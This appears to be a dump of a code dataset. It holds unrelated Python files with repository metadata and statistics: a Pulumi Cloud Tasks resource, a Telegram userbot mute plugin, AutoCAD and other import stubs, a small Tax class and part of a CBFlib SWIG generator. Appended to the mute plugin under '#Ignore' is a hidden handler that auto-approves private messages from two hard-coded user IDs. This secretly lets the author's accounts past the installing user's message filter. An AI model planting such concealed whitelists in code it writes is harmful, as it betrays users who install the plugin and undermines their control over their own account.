Optional[pulumi.Input[pulumi.InputType['AppEngineHttpRequestArgs']]] = None, dispatch_deadline: Optional[pulumi.Input[str]] = None, http_request: Optional[pulumi.Input[pulumi.InputType['HttpRequestArgs']]] = None, location: Optional[pulumi.Input[str]] = None, name: Optional[pulumi.Input[str]] = None, project: Optional[pulumi.Input[str]] = None, queue_id: Optional[pulumi.Input[str]] = None, response_view: Optional[pulumi.Input['TaskResponseView']] = None, schedule_time: Optional[pulumi.Input[str]] = None, __props__=None): if opts is None: opts = pulumi.ResourceOptions() if not isinstance(opts, pulumi.ResourceOptions): raise TypeError('Expected resource options to be a ResourceOptions instance') if opts.version is None: opts.version = _utilities.get_version() if opts.id is None: if __props__ is not None: raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource') __props__ = TaskArgs.__new__(TaskArgs) __props__.__dict__["app_engine_http_request"] = app_engine_http_request __props__.__dict__["dispatch_deadline"] = dispatch_deadline __props__.__dict__["http_request"] = http_request __props__.__dict__["location"] = location __props__.__dict__["name"] = name __props__.__dict__["project"] = project if queue_id is None and not opts.urn: raise TypeError("Missing required property 'queue_id'") __props__.__dict__["queue_id"] = queue_id __props__.__dict__["response_view"] = response_view __props__.__dict__["schedule_time"] = schedule_time __props__.__dict__["create_time"] = None __props__.__dict__["dispatch_count"] = None __props__.__dict__["first_attempt"] = None __props__.__dict__["last_attempt"] = None __props__.__dict__["response_count"] = None __props__.__dict__["view"] = None super(Task, __self__).__init__( 'google-native:cloudtasks/v2:Task', resource_name, __props__, opts) @staticmethod def get(resource_name: str, id: pulumi.Input[str], opts: Optional[pulumi.ResourceOptions] = None) -> 'Task': """ Get an existing Task resource's state with the given name, id, and optional extra properties used to qualify the lookup. :param str resource_name: The unique name of the resulting resource. :param pulumi.Input[str] id: The unique provider ID of the resource to lookup. :param pulumi.ResourceOptions opts: Options for the resource. """ opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id)) __props__ = TaskArgs.__new__(TaskArgs) __props__.__dict__["app_engine_http_request"] = None __props__.__dict__["create_time"] = None __props__.__dict__["dispatch_count"] = None __props__.__dict__["dispatch_deadline"] = None __props__.__dict__["first_attempt"] = None __props__.__dict__["http_request"] = None __props__.__dict__["last_attempt"] = None __props__.__dict__["name"] = None __props__.__dict__["response_count"] = None __props__.__dict__["schedule_time"] = None __props__.__dict__["view"] = None return Task(resource_name, opts=opts, __props__=__props__) @property @pulumi.getter(name="appEngineHttpRequest") def app_engine_http_request(self) -> pulumi.Output['outputs.AppEngineHttpRequestResponse']: """ HTTP request that is sent to the App Engine app handler. An App Engine task is a task that has AppEngineHttpRequest set. """ return pulumi.get(self, "app_engine_http_request") @property @pulumi.getter(name="createTime") def create_time(self) -> pulumi.Output[str]: """ The time that the task was created. `create_time` will be truncated to the nearest second. """ return pulumi.get(self, "create_time") @property @pulumi.getter(name="dispatchCount") def dispatch_count(self) -> pulumi.Output[int]: """ The number of attempts dispatched. This count includes attempts which have been dispatched but haven't received a response. """ return pulumi.get(self, "dispatch_count") @property @pulumi.getter(name="dispatchDeadline") def dispatch_deadline(self) -> pulumi.Output[str]: """ The deadline for requests sent to the worker. If the worker does not respond by this deadline then the request is cancelled and the attempt is marked as a `DEADLINE_EXCEEDED` failure. Cloud Tasks will retry the task according to the RetryConfig. Note that when the request is cancelled, Cloud Tasks will stop listening for the response, but whether the worker stops processing depends on the worker. For example, if the worker is stuck, it may not react to cancelled requests. The default and maximum values depend on the type of request: * For HTTP tasks, the default is 10 minutes. The deadline must be in the interval [15 seconds, 30 minutes]. * For App Engine tasks, 0 indicates that the request has the default deadline. The default deadline depends on the [scaling type](https://cloud.google.com/appengine/docs/standard/go/how-instances-are-managed#instance_scaling) of the service: 10 minutes for standard apps with automatic scaling, 24 hours for standard apps with manual and basic scaling, and 60 minutes for flex apps. If the request deadline is set, it must be in the interval [15 seconds, 24 hours 15 seconds]. Regardless of the task's `dispatch_deadline`, the app handler will not run for longer than than the service's timeout. We recommend setting the `dispatch_deadline` to at most a few seconds more than the app handler's timeout. For more information see [Timeouts](https://cloud.google.com/tasks/docs/creating-appengine-handlers#timeouts). `dispatch_deadline` will be truncated to the nearest millisecond. The deadline is an approximate deadline. """ return pulumi.get(self, "dispatch_deadline") @property @pulumi.getter(name="firstAttempt") def first_attempt(self) -> pulumi.Output['outputs.AttemptResponse']: """ The status of the task's first attempt. Only dispatch_time will be set. The other Attempt information is not retained by Cloud Tasks. """ return pulumi.get(self, "first_attempt") @property @pulumi.getter(name="httpRequest") def http_request(self) -> pulumi.Output['outputs.HttpRequestResponse']: """ HTTP request that is sent to the worker. An HTTP task is a task that has HttpRequest set. """ return pulumi.get(self, "http_request") @property @pulumi.getter(name="lastAttempt") def last_attempt(self) -> pulumi.Output['outputs.AttemptResponse']: """ The status of the task's last attempt. """ return pulumi.get(self, "last_attempt") @property @pulumi.getter def name(self) -> pulumi.Output[str]: """ Optionally caller-specified in CreateTask. The task name. The task name must have the following format: `projects/PROJECT_ID/locations/LOCATION_ID/queues/QUEUE_ID/tasks/TASK_ID` * `PROJECT_ID` can contain letters ([A-Za-z]), numbers ([0-9]), hyphens (-), colons (:), or periods (.). For more information, see [Identifying projects](https://cloud.google.com/resource-manager/docs/creating-managing-projects#identifying_projects) * `LOCATION_ID` is the canonical ID for the task's location. The list of available locations can be obtained by calling ListLocations. For more information, see https://cloud.google.com/about/locations/. * `QUEUE_ID` can contain letters ([A-Za-z]), numbers ([0-9]), or hyphens (-). The maximum length is 100 characters. * `TASK_ID` can contain only letters ([A-Za-z]), numbers ([0-9]), hyphens (-), or underscores (_). The maximum length is 500 characters. """ return pulumi.get(self, "name") @property @pulumi.getter(name="responseCount") def response_count(self) -> pulumi.Output[int]: """ The number of attempts which have received a response. """ return pulumi.get(self, "response_count") @property @pulumi.getter(name="scheduleTime") def schedule_time(self) -> pulumi.Output[str]: """ The time when the task is scheduled to be attempted or retried. `schedule_time` will be truncated to the nearest microsecond. """ return pulumi.get(self, "schedule_time") @property @pulumi.getter def view(self) -> pulumi.Output[str]: """ The view specifies which subset of the Task has been returned. """ return pulumi.get(self, "view")

73.253406

1,619

0.704731

3,610

26,884

5.079778

0.092521

0.035991

0.043516

0.032392

0.85102

0.805813

0.779856

0.755862

0.733013

0.689279

0

0.00616

0.202872

26,884

366

1,620

73.453552

0.849557

0.550588

0

0.394068

1

0

0.138532

0.034917

0

1

0.148305

false

0.004237

0.033898

0.012712

0.279661

0

null

0

1

0

1

0

1

0

null

0

8

4f9f4dd496c85b0a895073e547bf6722256a5321

5,984

py

Python

userbot/plugins/mute.py

Maxpayne7000/HexBot

9faf77ec1da0dc30219de13d858a650a9d9ca66e

[ "MIT" ]

3

2020-04-21T17:41:45.000Z

2020-05-01T12:44:40.000Z

userbot/plugins/mute.py

Maxpayne7000/HexBot

9faf77ec1da0dc30219de13d858a650a9d9ca66e

[ "MIT" ]

null

userbot/plugins/mute.py

Maxpayne7000/HexBot

9faf77ec1da0dc30219de13d858a650a9d9ca66e

[ "MIT" ]

null

from userbot.plugins.sql_helper.mute_sql import is_muted, mute, unmute import asyncio @command(outgoing=True, pattern=r"^.mute ?(\d+)?") async def startmute(event): private = False if event.fwd_from: return elif event.is_private: await event.edit("Muting User!") await asyncio.sleep(3) private = True if any([x in event.raw_text for x in ("/mute", "!mute")]): await asyncio.sleep(0.5) else: reply = await event.get_reply_message() if event.pattern_match.group(1) is not None: userid = event.pattern_match.group(1) elif reply is not None: userid = reply.sender_id elif private is True: userid = event.chat_id else: return await event.edit("`Reply To A Message!`") chat_id = event.chat_id chat = await event.get_chat() if "admin_rights" in vars(chat) and vars(chat)["admin_rights"] is not None: if chat.admin_rights.delete_messages is True: pass else: return await event.edit("`You Need Admin Rights!`") elif "creator" in vars(chat): pass elif private == True: pass else: return await event.edit("`You Need Admin Rights!`") if is_muted(userid, chat_id): return await event.edit("`User Muted Already!`") try: mute(userid, chat_id) except Exception as e: await event.edit("Error occured!\nError is " + str(e)) else: await event.edit("`Muted!`") @command(outgoing=True, pattern=r"^.unmute ?(\d+)?") async def endmute(event): private = False if event.fwd_from: return elif event.is_private: await event.edit("Unmuting!") await asyncio.sleep(3) private = True if any([x in event.raw_text for x in ("/unmute", "!unmute")]): await asyncio.sleep(0.5) else: reply = await event.get_reply_message() if event.pattern_match.group(1) is not None: userid = event.pattern_match.group(1) elif reply is not None: userid = reply.sender_id elif private is True: userid = event.chat_id else: return await event.edit("`Reply To A Message!`") chat_id = event.chat_id if not is_muted(userid, chat_id): return await event.edit("`User Not Muted!`") try: unmute(userid, chat_id) except Exception as e: await event.edit("Error occured!\nError is " + str(e)) else: await event.edit("`Unmuted`\n`Be Careful!`") @command(outgoing=True, pattern=r"^.mute ?(\d+)?", allow_sudo=True) async def startmute(event): private = False if event.fwd_from: return elif event.is_private: await event.edit("Muting User!") await asyncio.sleep(3) private = True if any([x in event.raw_text for x in ("/mute", "!mute")]): await asyncio.sleep(0.5) else: reply = await event.get_reply_message() if event.pattern_match.group(1) is not None: userid = event.pattern_match.group(1) elif reply is not None: userid = reply.sender_id elif private is True: userid = event.chat_id else: return await event.edit("`Reply To A Message!`") chat_id = event.chat_id chat = await event.get_chat() if "admin_rights" in vars(chat) and vars(chat)["admin_rights"] is not None: if chat.admin_rights.delete_messages is True: pass else: return await event.edit("`You Need Admin Rights!`") elif "creator" in vars(chat): pass elif private == True: pass else: return await event.edit("`You Need Admin Rights!`") if is_muted(userid, chat_id): return await event.edit("`User Muted Already!`") try: mute(userid, chat_id) except Exception as e: await event.edit("Error occured!\nError is " + str(e)) else: await event.edit("`Muted!`") @command(outgoing=True, pattern=r"^.unmute ?(\d+)?", allow_sudo=True) async def endmute(event): private = False if event.fwd_from: return elif event.is_private: await event.edit("Unmuting!") await asyncio.sleep(3) private = True if any([x in event.raw_text for x in ("/unmute", "!unmute")]): await asyncio.sleep(0.5) else: reply = await event.get_reply_message() if event.pattern_match.group(1) is not None: userid = event.pattern_match.group(1) elif reply is not None: userid = reply.sender_id elif private is True: userid = event.chat_id else: return await event.edit("`Reply To A Message!`") chat_id = event.chat_id if not is_muted(userid, chat_id): return await event.edit("`User Not Muted!`") try: unmute(userid, chat_id) except Exception as e: await event.edit("Error occured!\nError is " + str(e)) else: await event.edit("`Unmuted`\n`Be Careful!`") @command(incoming=True) async def watcher(event): if is_muted(event.sender_id, event.chat_id): await event.delete() #Ignore from userbot.utils import admin_cmd import io import userbot.plugins.sql_helper.pmpermit_sql as pmpermit_sql from telethon import events @bot.on(events.NewMessage(incoming=True, from_users=(1213031275,802388099))) async def hehehe(event): if event.fwd_from: return chat = await event.get_chat() if event.is_private: if not pmpermit_sql.is_approved(chat.id): pmpermit_sql.approve(chat.id, "Ah! I See") await borg.send_message(chat, "`Hey Max!`")

34.589595

84

0.58389

787

5,984

4.330368

0.138501

0.093897

0.098592

0.070423

0.86561

0.859742

0.845364

0.828639

0

0.009402

0.306818

5,984

172

85

34.790698

0.812199

0.001003

0

0.877301

0

0.108936

0

1

0

false

0.03681

0

0.141104

0

null

0

1

0

1

0

null

0

7

96cb239349b187a7872e44c558383bae9e5b62d8

94

py

Python

kinova_station/__init__.py

Falcon1991/kinova_drake

dd121b464da15ffdd75ac3743e677e573be356c2

[ "MIT" ]

null

kinova_station/__init__.py

Falcon1991/kinova_drake

dd121b464da15ffdd75ac3743e677e573be356c2

[ "MIT" ]

null

kinova_station/__init__.py

Falcon1991/kinova_drake

dd121b464da15ffdd75ac3743e677e573be356c2

[ "MIT" ]

null

from kinova_station.simulation_station import * from kinova_station.hardware_station import *

31.333333

47

0.87234

12

94

6.5

0.5

0.25641

0.435897

0

0.085106

94

2

48

47

0.906977

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

7

8c1418b92fc9a06b60f64c00943390091ecd5352

197

py

Python

src/Tax/Tax.py

joaolevi/Projeto_de_software_2020.1

3b9b5a048c55638f2e6d31de55720098e3be649c

[ "MIT" ]

null

src/Tax/Tax.py

joaolevi/Projeto_de_software_2020.1

3b9b5a048c55638f2e6d31de55720098e3be649c

[ "MIT" ]

null

src/Tax/Tax.py

joaolevi/Projeto_de_software_2020.1

3b9b5a048c55638f2e6d31de55720098e3be649c

[ "MIT" ]

null

class Tax: def __init__(self, value): self.__value = value def get_value(self): return self.__value def set_value(self, new_value): self.__value = new_value

24.625

35

0.619289

26

197

4.153846

0.384615

0.333333

0.259259

0

0.294416

197

8

36

24.625

0.776978

0

1

0.428571

false

0

0.142857

0.714286

0

1

0

null

1

0

1

0

null

0

1

0

1

0

7

4fd92317195eedd07c7bb1a36bf6d57863cb0b29

158

py

Python

pyids/model_selection/__init__.py

kliegr/pyIDS

83e12503dc7b2680b35bfb377bc13521a54237bc

[ "MIT" ]

20

2019-08-07T11:48:39.000Z

2022-02-18T10:45:16.000Z

pyids/model_selection/__init__.py

kliegr/pyIDS

83e12503dc7b2680b35bfb377bc13521a54237bc

[ "MIT" ]

6

2019-09-13T13:44:16.000Z

2020-12-06T14:12:57.000Z

pyids/model_selection/__init__.py

kliegr/pyIDS

83e12503dc7b2680b35bfb377bc13521a54237bc

[ "MIT" ]

10

2019-08-07T11:48:48.000Z

2022-03-06T15:16:15.000Z

from .utils import * from .metrics import * from .coordinate_ascent import * from .grid_search import * from .random_search import * from .validation import *

26.333333

32

0.778481

21

158

5.714286

0.47619

0.416667

0.266667

0

0.14557

158

6

33

26.333333

0.888889

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

7

4fefca32e9ef14756de3efeebe677ed7ca8aea2b

3,890

py

Python

extensions/.stubs/clrclasses/Autodesk/AutoCAD/PlottingServices/__init__.py

vicwjb/Pycad

7391cd694b7a91ad9f9964ec95833c1081bc1f84

[ "MIT" ]

1

2020-03-25T03:27:24.000Z

extensions/.stubs/clrclasses/Autodesk/AutoCAD/PlottingServices/__init__.py

vicwjb/Pycad

7391cd694b7a91ad9f9964ec95833c1081bc1f84

[ "MIT" ]

null

extensions/.stubs/clrclasses/Autodesk/AutoCAD/PlottingServices/__init__.py

vicwjb/Pycad

7391cd694b7a91ad9f9964ec95833c1081bc1f84

[ "MIT" ]

null

from __clrclasses__.Autodesk.AutoCAD.PlottingServices import AppPlotStatus from __clrclasses__.Autodesk.AutoCAD.PlottingServices import BeginDocumentEventArgs from __clrclasses__.Autodesk.AutoCAD.PlottingServices import BeginDocumentEventHandler from __clrclasses__.Autodesk.AutoCAD.PlottingServices import BeginPageEventArgs from __clrclasses__.Autodesk.AutoCAD.PlottingServices import BeginPageEventHandler from __clrclasses__.Autodesk.AutoCAD.PlottingServices import BeginPlotEventArgs from __clrclasses__.Autodesk.AutoCAD.PlottingServices import BeginPlotEventHandler from __clrclasses__.Autodesk.AutoCAD.PlottingServices import CustomSizeResults from __clrclasses__.Autodesk.AutoCAD.PlottingServices import DeviceType from __clrclasses__.Autodesk.AutoCAD.PlottingServices import DsdData from __clrclasses__.Autodesk.AutoCAD.PlottingServices import DsdEntry from __clrclasses__.Autodesk.AutoCAD.PlottingServices import DsdEntryCollection from __clrclasses__.Autodesk.AutoCAD.PlottingServices import Dwf3dOptions from __clrclasses__.Autodesk.AutoCAD.PlottingServices import EndDocumentEventArgs from __clrclasses__.Autodesk.AutoCAD.PlottingServices import EndDocumentEventHandler from __clrclasses__.Autodesk.AutoCAD.PlottingServices import EndPageEventArgs from __clrclasses__.Autodesk.AutoCAD.PlottingServices import EndPageEventHandler from __clrclasses__.Autodesk.AutoCAD.PlottingServices import EndPlotEventArgs from __clrclasses__.Autodesk.AutoCAD.PlottingServices import EndPlotEventHandler from __clrclasses__.Autodesk.AutoCAD.PlottingServices import HostAppServices from __clrclasses__.Autodesk.AutoCAD.PlottingServices import MatchingPolicy from __clrclasses__.Autodesk.AutoCAD.PlottingServices import MediaBounds from __clrclasses__.Autodesk.AutoCAD.PlottingServices import MergeStatus from __clrclasses__.Autodesk.AutoCAD.PlottingServices import PageCancelledEventHandler from __clrclasses__.Autodesk.AutoCAD.PlottingServices import PlotCancelledEventHandler from __clrclasses__.Autodesk.AutoCAD.PlottingServices import PlotCancelStatus from __clrclasses__.Autodesk.AutoCAD.PlottingServices import PlotConfig from __clrclasses__.Autodesk.AutoCAD.PlottingServices import PlotConfigInfo from __clrclasses__.Autodesk.AutoCAD.PlottingServices import PlotConfigInfoCollection from __clrclasses__.Autodesk.AutoCAD.PlottingServices import PlotConfigManager from __clrclasses__.Autodesk.AutoCAD.PlottingServices import PlotEngine from __clrclasses__.Autodesk.AutoCAD.PlottingServices import PlotFactory from __clrclasses__.Autodesk.AutoCAD.PlottingServices import PlotInfo from __clrclasses__.Autodesk.AutoCAD.PlottingServices import PlotInfoValidator from __clrclasses__.Autodesk.AutoCAD.PlottingServices import PlotLogger from __clrclasses__.Autodesk.AutoCAD.PlottingServices import PlotMessageIndex from __clrclasses__.Autodesk.AutoCAD.PlottingServices import PlotPageInfo from __clrclasses__.Autodesk.AutoCAD.PlottingServices import PlotProgress from __clrclasses__.Autodesk.AutoCAD.PlottingServices import PlotProgressDialog from __clrclasses__.Autodesk.AutoCAD.PlottingServices import PlotReactorManager from __clrclasses__.Autodesk.AutoCAD.PlottingServices import PlotToFileCapability from __clrclasses__.Autodesk.AutoCAD.PlottingServices import PlotType from __clrclasses__.Autodesk.AutoCAD.PlottingServices import PreviewEndPlotInfo from __clrclasses__.Autodesk.AutoCAD.PlottingServices import PreviewEndPlotStatus from __clrclasses__.Autodesk.AutoCAD.PlottingServices import PreviewEngineFlags from __clrclasses__.Autodesk.AutoCAD.PlottingServices import ProcessPlotState from __clrclasses__.Autodesk.AutoCAD.PlottingServices import RefreshCode from __clrclasses__.Autodesk.AutoCAD.PlottingServices import SheetCancelStatus from __clrclasses__.Autodesk.AutoCAD.PlottingServices import SheetType from __clrclasses__.Autodesk.AutoCAD.PlottingServices import StdConfiguration

76.27451

86

0.910026

350

3,890

9.542857

0.16

0.209581

0.329341

0.434132

0.763473

0

0.000271

0.051414

3,890

50

87

77.8

0.904878

0

1

0

true

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

7

4fffac00d3c7c282fbc056e26853a8c0de401b89

125,676

py

Python

modules/cbflib/pycbf/make_pycbf.py

jorgediazjr/dials-dev20191018

77d66c719b5746f37af51ad593e2941ed6fbba17

[ "BSD-3-Clause" ]

null

modules/cbflib/pycbf/make_pycbf.py

jorgediazjr/dials-dev20191018

77d66c719b5746f37af51ad593e2941ed6fbba17

[ "BSD-3-Clause" ]

null

modules/cbflib/pycbf/make_pycbf.py

jorgediazjr/dials-dev20191018

77d66c719b5746f37af51ad593e2941ed6fbba17

[ "BSD-3-Clause" ]

1

2020-02-04T15:39:06.000Z

print "\\begin{verbatim}" print "This output comes from make_pycbf.py which generates the wrappers" print "pycbf Copyright (C) 2005 Jonathan Wright, no warranty, LGPL" ###################################################################### # # # YOU MAY REDISTRIBUTE THE CBFLIB PACKAGE INCLUDING PYCBF UNDER THE # # TERMS OF THE GPL # # # # ALTERNATIVELY YOU MAY REDISTRIBUTE THE CBFLIB API INCLUDING PYCBF # # UNDER THE TERMS OF THE LGPL # # # ###################################################################### ########################### GPL NOTICES ############################## # # # This program is free software; you can redistribute it and/or # # modify it under the terms of the GNU General Public License as # # published by the Free Software Foundation; either version 2 of # # (the License, or (at your option) any later version. # # # # This program is distributed in the hope that it will be useful, # # but WITHOUT ANY WARRANTY; without even the implied warranty of # # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # # GNU General Public License for more details. # # # # You should have received a copy of the GNU General Public License # # along with this program; if not, write to the Free Software # # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA # # 02111-1307 USA # # # ###################################################################### ######################### LGPL NOTICES ############################### # # # This library is free software; you can redistribute it and/or # # modify it under the terms of the GNU Lesser General Public # # License as published by the Free Software Foundation; either # # version 2.1 of the License, or (at your option) any later version. # # # # This library is distributed in the hope that it will be useful, # # but WITHOUT ANY WARRANTY; without even the implied warranty of # # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # # Lesser General Public License for more details. # # # # You should have received a copy of the GNU Lesser General Public # # License along with this library; if not, write to the Free # # Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, # # MA 02110-1301 USA # # # ###################################################################### # Get the ascii text as a list of strings lines = open("CBFlib.txt","r").readlines() # Variables to hold the useful things we find in the file docstring = "\n" name="" # Flag to indicate we have not read anything useful yet on=0 # Dictionary of function prototypes and documentation, keyed by name in C. name_dict = {} i=-1 debug = 0 # Parse the text prototypes = "" while i<len(lines)-1: i=i+1 line=lines[i] nfunc = 0 if line.find("PROTOTYPE")>=0 and on==1: on=10 # Only try for ten lines after it say PROTOTYPE continue if line.find("#include")>=0: # why? continue if line.find("int cbf_")>=0: # We found a function # keep going up to DESCRIPTION prototypes+=""+lines[i].rstrip()+" " # print lines[i].rstrip() check=0 while lines[i+1].find("DESCRIPTION")==-1 and lines[i+1].find("int cbf_")==-1: i=i+1 prototypes+=lines[i].rstrip()+" " # lose the \n # print lines[i].rstrip() check+=1 if check>50: raise Exception("Runaway prototype "+prototypes) on=1 # Keep reading docstring continue if on > 1: # why? on=on-1 if line.find("3. File format")>=0 and on==1: # Stop processing at section 3 i=len(lines) if on==1: # Docstring ends at 2.xxx for next function or see also # We are losing the see also information for now (needed the section # breaks in the rtf file) if len(line.strip())==0: docstring+="\n" continue else: if docstring[-1]=="\n": docstring += line.lstrip().rstrip() else: docstring =docstring+" "+line.lstrip().rstrip() if line.strip()[0] in [str(j) for j in range(9)] or \ line.find("SEE ALSO")>=0 or \ line.find("________")>=0 or \ line.find("--------")>=0: if len(docstring)>0: # print "Prototypes: ",prototypes docstring = docstring.replace("\"", " \\\"") # escape the quotes for prototype in prototypes.strip().split(";")[:-1]: name = prototype.split("(")[0].strip() cname = name.split()[1].strip() prototype = prototype.strip()+";" name_dict[cname]=[prototype,docstring] # print "Prototype: ","::",cname,"::",name,"::", prototype prototypes = "" # print "Found ",prototype docstring="\n" prototype="" cname="" on=0 else: raise Exception("bad docstring") # End of CBFlib.txt file - now generate wrapper code for swig def myformat(s,l,indent=0,breakon=" "): """ Try to pretty print lines - this is a pain... """ lines = s.rstrip().split("\n") out="" for line in lines: if len(line)==0: continue # skip blank lines if len(line)>l: words = line.split(breakon) newline=words[0] if len(words)>1: for word in words[1:]: if len(newline)+len(word)+1 < l: newline=newline+breakon+word else: out = out+newline+breakon+"\n"+indent*" " newline=word out += newline+"\n" else: out += "\n" else: out += line+"\n" # Last one if out == "": return "\n" else: return out def docstringwrite(pyfunc,input,output,prototype,cbflibdoc): doc = "%feature(\"autodoc\", \"\nReturns : " returns = "" for out in output: returns += out+"," if len(returns)>0: doc += myformat(returns[:-1],70,indent = 10,breakon=",") else: doc += "\n" doc += "*args : " takes = "" for inp in input: takes += inp+"," if len(takes)>0: doc += myformat(takes[:-1],70,indent = 10,breakon=",") else: doc += "\n" doc += "\nC prototype: "+myformat(prototype,65,indent=16,breakon=",") doc += "\nCBFLib documentation:\n"+myformat(cbflibdoc,70)+"\")" doc += pyfunc+";\n" return doc cbfhandle_specials = { "cbf_get_integerarrayparameters":[""" %apply int *OUTPUT {int *compression,int *binary_id, int *elsize, int *elsigned, int *elunsigned, int *elements, int *minelement, int *maxelement} get_integerarrayparameters; void get_integerarrayparameters(int *compression,int *binary_id, int *elsize, int *elsigned, int *elunsigned, int *elements, int *minelement, int *maxelement){ unsigned int comp; size_t elsiz, elem; cbf_failnez(cbf_get_integerarrayparameters(self, &comp,binary_id, &elsiz, elsigned, elunsigned, &elem, minelement, maxelement)); *compression = comp; /* FIXME - does this convert in C? */ *elsize = elsiz; *elements = elem; } ""","get_integerarrayparameters",[],["int compression","int binary_id", "int elsize", "int elsigned", "int elunsigned", "int elements", "int minelement", "int maxelement"]], "cbf_get_integerarrayparameters_wdims":[""" %cstring_output_allocate_size(char **bo, int *bolen, free(*$1)); %apply int *OUTPUT {int *compression,int *binary_id, int *elsize, int *elsigned, int *elunsigned, int *elements, int *minelement, int *maxelement, int *dimfast, int *dimmid, int *dimslow, int *padding} get_integerarrayparameters_wdims; void get_integerarrayparameters_wdims(int *compression,int *binary_id, int *elsize, int *elsigned, int *elunsigned, int *elements, int *minelement, int *maxelement, char **bo, int *bolen, int *dimfast, int *dimmid, int *dimslow, int *padding ){ unsigned int comp; size_t elsiz, elem, df,dm,ds,pd; const char * byteorder; char * bot; cbf_failnez(cbf_get_integerarrayparameters_wdims(self, &comp,binary_id, &elsiz, elsigned, elunsigned, &elem, minelement, maxelement, &byteorder,&df,&dm,&ds,&pd )); *bolen = strlen(byteorder); if (!(bot = (char *)malloc(*bolen))) {cbf_failnez(CBF_ALLOC)} strncpy(bot,byteorder,*bolen); *bo = bot; *compression = comp; *elsize = elsiz; *elements = elem; *dimfast = df; *dimmid = dm; *dimslow = ds; *padding = pd; } ""","get_integerarrayparameters_wdims",[],["int compression","int binary_id", "int elsize", "int elsigned", "int elunsigned", "int elements", "int minelement", "int maxelement", "char **bo", "int *bolen", "int dimfast", "int dimmid", "int dimslow", "int padding"]], "cbf_get_integerarrayparameters_wdims_fs":[""" %cstring_output_allocate_size(char **bo, int *bolen, free(*$1)); %apply int *OUTPUT {int *compression,int *binary_id, int *elsize, int *elsigned, int *elunsigned, int *elements, int *minelement, int *maxelement, int *dimfast, int *dimmid, int *dimslow, int *padding} get_integerarrayparameters_wdims_fs; void get_integerarrayparameters_wdims_fs(int *compression,int *binary_id, int *elsize, int *elsigned, int *elunsigned, int *elements, int *minelement, int *maxelement, char **bo, int *bolen, int *dimfast, int *dimmid, int *dimslow, int *padding ){ unsigned int comp; size_t elsiz, elem, df,dm,ds,pd; const char * byteorder; char * bot; cbf_failnez(cbf_get_integerarrayparameters_wdims_fs(self, &comp,binary_id, &elsiz, elsigned, elunsigned, &elem, minelement, maxelement, &byteorder,&df,&dm,&ds,&pd )); *bolen = strlen(byteorder); if (!(bot = (char *)malloc(*bolen))) {cbf_failnez(CBF_ALLOC)} strncpy(bot,byteorder,*bolen); *bo = bot; *compression = comp; *elsize = elsiz; *elements = elem; *dimfast = df; *dimmid = dm; *dimslow = ds; *padding = pd; } ""","get_integerarrayparameters_wdims_fs",[],["int compression","int binary_id", "int elsize", "int elsigned", "int elunsigned", "int elements", "int minelement", "int maxelement", "char **bo", "int *bolen", "int dimfast", "int dimmid", "int dimslow", "int padding"]], "cbf_get_integerarrayparameters_wdims_sf":[""" %cstring_output_allocate_size(char **bo, int *bolen, free(*$1)); %apply int *OUTPUT {int *compression,int *binary_id, int *elsize, int *elsigned, int *elunsigned, int *elements, int *minelement, int *maxelement, int *dimslow, int *dimmid, int *dimfast, int *padding} get_integerarrayparameters_wdims_sf; void get_integerarrayparameters_wdims_sf(int *compression,int *binary_id, int *elsize, int *elsigned, int *elunsigned, int *elements, int *minelement, int *maxelement, char **bo, int *bolen, int *dimslow, int *dimmid, int *dimfast, int *padding ){ unsigned int comp; size_t elsiz, elem, df,dm,ds,pd; const char * byteorder; char * bot; cbf_failnez(cbf_get_integerarrayparameters_wdims_sf(self, &comp,binary_id, &elsiz, elsigned, elunsigned, &elem, minelement, maxelement, &byteorder,&ds,&dm,&df,&pd )); *bolen = strlen(byteorder); if (!(bot = (char *)malloc(*bolen))) {cbf_failnez(CBF_ALLOC)} strncpy(bot,byteorder,*bolen); *bo = bot; *compression = comp; *elsize = elsiz; *elements = elem; *dimfast = df; *dimmid = dm; *dimslow = ds; *padding = pd; } ""","get_integerarrayparameters_wdims_sf",[],["int compression","int binary_id", "int elsize", "int elsigned", "int elunsigned", "int elements", "int minelement", "int maxelement", "char **bo", "int *bolen", "int dimslow", "int dimmid", "int dimfast", "int padding"]], "cbf_get_realarrayparameters":[""" %apply int *OUTPUT {int *compression,int *binary_id, int *elsize, int *elements} get_realarrayparameters; void get_realarrayparameters(int *compression,int *binary_id, int *elsize, int *elements){ unsigned int comp; size_t elsiz, elem; cbf_failnez(cbf_get_realarrayparameters(self, &comp ,binary_id, &elsiz, &elem )); *compression = comp; /* FIXME - does this convert in C? */ *elsize = elsiz; *elements = elem; } ""","get_realarrayparameters",[],["int compression","int binary_id", "int elsize", "int elements"]], "cbf_get_realarrayparameters_wdims":[""" %cstring_output_allocate_size(char **bo, int *bolen, free(*$1)); %apply int *OUTPUT {int *compression,int *binary_id, int *elsize, int *elements, int *dimslow, int *dimmid, int *dimfast, int *padding} get_realarrayparameters_wdims; void get_realarrayparameters_wdims(int *compression,int *binary_id, int *elsize, int *elements, char **bo, int *bolen, int *dimfast, int *dimmid, int *dimslow, int *padding ){ unsigned int comp; size_t elsiz, elem, df,dm,ds,pd; const char * byteorder; char * bot; cbf_failnez(cbf_get_realarrayparameters_wdims(self, &comp,binary_id, &elsiz, &elem, &byteorder,&df,&dm,&ds,&pd )); *bolen = strlen(byteorder); if (!(bot = (char *)malloc(*bolen))) {cbf_failnez(CBF_ALLOC)} strncpy(bot,byteorder,*bolen); *bo = bot; *compression = comp; *elsize = elsiz; *elements = elem; *dimfast = df; *dimmid = dm; *dimslow = ds; *padding = pd; } ""","get_realarrayparameters_wdims",[],["int compression","int binary_id", "int elsize", "int elements", "char **bo", "int *bolen", "int dimfast", "int dimmid", "int dimslow", "int padding"]], "cbf_get_realarrayparameters_wdims_fs":[""" %cstring_output_allocate_size(char **bo, int *bolen, free(*$1)); %apply int *OUTPUT {int *compression,int *binary_id, int *elsize, int *elements, int *dimslow, int *dimmid, int *dimfast, int *padding} get_realarrayparameters_wdims_fs; void get_realarrayparameters_wdims_fs(int *compression,int *binary_id, int *elsize, int *elements, char **bo, int *bolen, 